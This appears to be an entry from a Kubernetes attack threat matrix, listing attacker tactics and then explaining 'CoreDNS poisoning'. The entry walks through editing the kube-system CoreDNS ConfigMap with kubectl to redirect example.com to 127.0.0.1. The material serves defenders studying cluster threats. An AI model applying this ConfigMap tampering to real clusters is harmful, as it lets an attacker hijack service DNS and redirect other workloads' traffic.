Initial access Execution Persistence Privilege escalation Defense evasion Credential access Discovery Lateral movement Collection Impact
Using Cloud Exec into Container Backdoor Container Privileged Container Clear Container Logs List K8s secrets Access the K8s API server Access cloud resources Images from a private repository Data Destruction
Compromised images in registry bash/cmd in container Writable hostPath mount Cluster-admin binding Delete k8s events Mount service principal Access Kubelet API Container service account Ressource hijacking
Kubeconfig file New container Kubernetes CronJob hostPath mount Pod / container name similarity Access container service account Network mapping Cluster internal networking Denial of Service
Application vulnerability Application exploit (RCE) Malicious admission controller Access cloud resources Connect from proxy server Applications credentials in configuration files Access Kubernetes dashboard Applications credentials in configuration files
Exposed sensitive interfaces SSH server running in inside container Disable Namespacing Access managed identity credentials Instance metadata API Writable volume mounts on the host
Sidecar injection Malicious admission controller CoreDNS poisoning
ARP poisoning and IP spoofing

CoreDNS poisoning

CoreDNS is a modular Domain Name System (DNS) server written in Go, hosted by Cloud Native Computing Foundation (CNCF). CoreDNS is the main DNS service that is being used in Kubernetes. The configuration of CoreDNS can be modified by a file named corefile. In Kubernetes, this file is stored in a ConfigMap object, located at the kube-system namespace. If attackers have permissions to modify the ConfigMap, for example by using the container’s service account, they can change the behavior of the cluster’s DNS, poison it, and take the network identity of other services.

Example

Execute a ping command from any Pod to an domain (external or internal). For the sake of this example we take example.com as the domain.

$ kubectl exec -it my-pod -- ping -c 1 example.com 
PING example.com (93.184.216.34) 56(84) bytes of data.
64 bytes from 93.184.216.34 (93.184.216.34): icmp_seq=1 ttl=36 time=139 ms
...

As we can see, the ping went through and reached a system under 93.184.216.34 on the public Internet. The mapping between the example.com domain name and the IP address was faciliated by CoreDNS.

In a next step we use a modified version of the ConfigMap used by our CoreDNS Pod in our cluster. You can get the current version of the ConfigMap by using kubectl get configmaps -n kube-system coredns -o yaml. The only change in the below YAML file is the addition of the line 127.0.0.1 example.com at the very end of the NodeHosts section.

  apiVersion: v1
  kind: ConfigMap
  metadata:
    name: coredns
    namespace: kube-system
  data:
    Corefile: |
      .:53 {
          errors
          health
          ready
          kubernetes cluster.local in-addr.arpa ip6.arpa {
            pods insecure
            fallthrough in-addr.arpa ip6.arpa
          }
          hosts /etc/coredns/NodeHosts {
            ttl 60
            reload 15s
            fallthrough
          }
          prometheus :9153
          forward . /etc/resolv.conf
          cache 30
          loop
          reload
          loadbalance
      }
      import /etc/coredns/custom/*.server
    NodeHosts: |
      192.168.65.2 host.k3d.internal
      172.19.0.2 k3d-my-k8s-cluster-tools
      172.19.0.3 k3d-my-k8s-cluster-server-0
      172.19.0.4 k3d-my-k8s-cluster-serverlb
      127.0.0.1 example.com

Now we can replace the CoreDNS config with our slightly modified version.

$ kubectl replace -f coredns-configmap.yaml
configmap/coredns replaced

At last we can check if our malicious DNS record is acually applied and used by all workloads in the cluster. Please note that the CoreDNS configuration contains ttl 60 so we must wait up to 60 seconds for our changes take effect.

$ kubectl exec -it my-pod -- ping -c 1 example.com
PING example.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.010 ms
...

An attacker can use this technique to overwrite any DNS record to redirect traffic.

References